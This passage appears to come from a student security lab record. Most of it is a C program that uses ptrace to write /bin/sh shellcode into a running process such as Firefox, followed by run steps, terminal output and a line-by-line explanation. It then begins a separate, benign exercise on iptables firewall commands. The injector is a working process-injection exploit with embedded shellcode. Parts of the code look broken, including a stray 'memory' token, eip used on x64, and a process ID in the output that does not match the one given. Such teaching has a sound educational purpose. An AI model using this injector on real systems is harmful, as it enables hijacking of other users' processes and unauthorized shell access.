```
//The shellcode that calls /bin/sh
char shellcode[]={
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
"\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
   };

//header for our program.
void header()
{
   printf("----Memory bytecode injector       \n");
}

//main program notice we take command line options
int main(int argc,char**argv)
{
   int i,size,pid=0;
   struct user_regs_struct reg;//struct that gives access to registers
                        //note that this regs will be in x64 for me
                        //unless your using 32bit then eip,eax,edx etc...
   char*buff;
   header();

   //we get the command line options and assign them appropriately!

   pid=atoi(argv[1]);
   size=sizeof(shellcode);
   //allocate a char size memory
   buff=(char*)malloc(size);
   //fill the buff memory with 0s upto size
   memset(buff,0x0,size);
   //copy shellcode from source to destination
   memcpy(buff,shellcode,sizeof(shellcode));
```

```
    //attach process of pid
    ptrace(PTRACE_ATTACH,pid,0,0);

    //wait for child to change state
    wait((int*)0);

    //get process pid registers i.e Copy the process pid's general-purpose
    //or floating-point registers,respectively,
    //to the address reg in the tracer
    ptrace(PTRACE_GETREGS,pid,0,&reg);
    printf("Writing EIP 0x%x, process %d\n",reg.eip,pid);

    //Copy the word data to the address buff in the process's memory
    for(i=0;i<size;i++){
    ptrace(PTRACE_POKETEXT,pid,reg.eip+i,*(int*)(buff+i));
}
    //detach from the process and free buff
    memory ptrace(PTRACE_DETACH,pid,0,0);
    free(buff);
    return 0;

}
```

OUTPUT:

```
[root@localhost ~]# vi codeinjection.c
[root@localhost ~]# gcc codeinjection.c -o codeinject
[root@localhost ~]#ps -e|grep firefox
1433 ? 00:01:23 firefox [root@localhost ~]# ./codeinject 1433
----Memory bytecode injector-----
Writing EIP 0x6, process 1707
[root@localhost ~]#
```

How to run the above code??

1) open firefox on linux terminal then inject the code. the initial program will crush but the shell will run.
2.) gcc -o injector injector.c
3.) get the pid of the victim process ps -e|grep firefox
4.) new terminal and start injector give the process id for the program "./injector 4567" where 4567 is the pid of the victim.
5.) kill -9 4567

VICTIM PROGRAM

```
# include<stdio.h>
void main()
{
printf("Hi there!\n");
getchar();
}
```

How to run the above code??

1.) gcc -o injector injector.c

2.) start process(any) for this example start "./victim"

3.) get the pid of the victim process ps -e|grep victimprocess

4.) new terminal and start injector give the process id for the victim program "./injector 4567" where 4567 is the pid of the victim.

PROGRAM EXPLANATION:

These lines are header inclusions. They bring in necessary functionalities from various C libraries:

- <stdio.h>: Provides standard input/output functions like printf.
- <stdlib.h>: Offers general utility functions like malloc for memory allocation.
- <string.h>: Contains string manipulation functions like memset and memcpy.
- <unistd.h>: Defines standard symbolic constants and types for the operating system.
- <sys/wait.h>: Provides declarations for waiting on child processes (using wait).
- <sys/ptrace.h>: Grants access to the ptrace functionality for process tracing.
- <sys/user.h>: Includes definitions for user-mode registers (struct user_regs_struct).

Lines 8-11:

```
//The shellcode that calls /bin/sh
char shellcode[]={
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97"
"\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
   };
```

This section defines a character array named shellcode. It contains machine code instructions (often encoded in hexadecimal) that, when executed, will typically launch a shell program like /bin/sh. The specific functionality of this shellcode would require further analysis.

Lines 13-19:

```
//header for our program.
void header()
{
   printf("----Memory bytecode injector       \n");
}
```

This defines a function named header. It simply prints a message to the console using printf.

LINE-BY-LINE EXPLANATION OF THE MAIN **FUNCTION:**

1. Function Signature:

```
int main(int argc, char** argv)
```

- int main: This declares the main function, the program's starting point.
- int argc: This is an integer argument that holds the number of command-line arguments passed to the program.
- char** argv: This is a character pointer array that points to the individual command-line arguments themselves. (Think of it as an array of strings.)

2. Variable Declarations:

```
int i, size, pid = 0;
struct user_regs_struct reg; // Struct for holding process registers
char* buff;
```

- int i, size: These are integer variables used for loop control and storing the shellcode size.
- int pid = 0: This integer variable will store the process ID (PID) of the target process. It's initialized to 0.
- struct user_regs_struct reg: This declares a variable reg of type struct user_regs_struct. This structure likely holds information about the process's registers (specific register names depend on architecture, e.g., eip for instruction pointer in x86).
- char* buff: This declares a character pointer variable buff. It will be used to store the shellcode later.

3. Calling the Header Function:

```
header();
```

- This line calls the header function (defined earlier) that presumably prints a message to the console.

4. Processing Command-Line Arguments:

```
pid = atoi(argv[1]);
size = sizeof(shellcode);
```

- pid = atoi(argv[1]): This line assumes the program takes exactly one command-line argument, which is the PID of the target process. It uses atoi (convert ASCII to integer) to convert the string argument (argv[1]) to an integer and store it in the pid variable.
- size = sizeof(shellcode);: This line calculates the size of the shellcode array and stores it in the size variable.

5. Allocating Memory and Copying Shellcode:

```
buff = (char*)malloc(size);
memset(buff, 0x0, size);
memcpy(buff, shellcode, sizeof(shellcode));
```

- buff = (char*)malloc(size): This line allocates memory of size size (determined from the shellcode) on the heap and casts the returned pointer to a char*. It stores this pointer in the buff variable. This memory will hold the shellcode.
- memset(buff, 0x0, size): This line fills the allocated memory in buff with zeros (represented by 0x0) for the entire size.
- memcpy(buff, shellcode, sizeof(shellcode)): This line copies the contents of the shellcode array (machine code instructions) into the memory pointed to by buff.

6. Attaching to the Target Process:

```
ptrace(PTRACE_ATTACH, pid, 0, 0);
```

- This line uses the ptrace system call with the PTRACE_ATTACH flag. This attaches the current process (the injector program) to the target process identified by the pid. The other arguments (0, 0) are typically unused in this context.

7. Waiting for Target Process:

```
wait((int*)0);
```

- This line uses the wait system call (without arguments) to wait for the child process (the attached target process) to change state (e.g., stop execution).

8. Getting Target Process Registers:

```
ptrace(PTRACE_GETREGS, pid, 0, &reg);

printf("Writing EIP 0x%x, process %d\n", reg.eip, pid);
```

- ptrace(PTRACE_GETREGS, pid, 0, &reg):

  This line uses the ptrace system call with the PTRACE_GETREGS flag. It retrieves the registers of the target process (pid) and stores them in the reg structure.

- printf("Writing EIP 0x%x, process %d\n", reg.eip, pid):

  This line prints a message indicating the current value of the instruction pointer (EIP) register from the retrieved registers and the target process ID.

RESULT:

The program injects shellcode into a running firefox process using the ptrace systemcall attaching to the process, injecting the shellcode, and detaching it. Once the process resumes, the injected shellcode is executed, potentially swapping a shell or executing other commands

INSTALL AND CONFIGURE IPTABLES FIREWALL

EXP.NO: 11 **DATE:01-04-2025**

AIM:

To install iptables and configure it for a variety of options.

COMMON CONFIGURATIONS & OUTPUTS:

1. Start/stop/restart firewalls

```
[root@localhost ~]# systemctl start firewalld
[root@localhost ~]# systemctl restart firewalld
[root@localhost ~]# systemctl stop firewalld
```

2. Check all exitsting IPtables Firewall Rules

```
[root@localhost ~]# iptables -L -n -v
```

3. Block specific IP Address(eg. 172.16.8.10) in IPtables Firewall

```
[root@localhost ~]# iptables -A INPUT -s 172.16.8.10 -j
DROP
```

4. Block specifig port on IPtables Firewall

```
[root@localhost ~]# iptables -A OUTPUT -p tcp --dport xxx -j DROP
```

5. Allow specific network range on particular port on iptables

```
[root@localhost ~]# iptables -A OUTPUT -p tcp -d 172.16.8.0/24 --dport xxx -j ACCEPT
```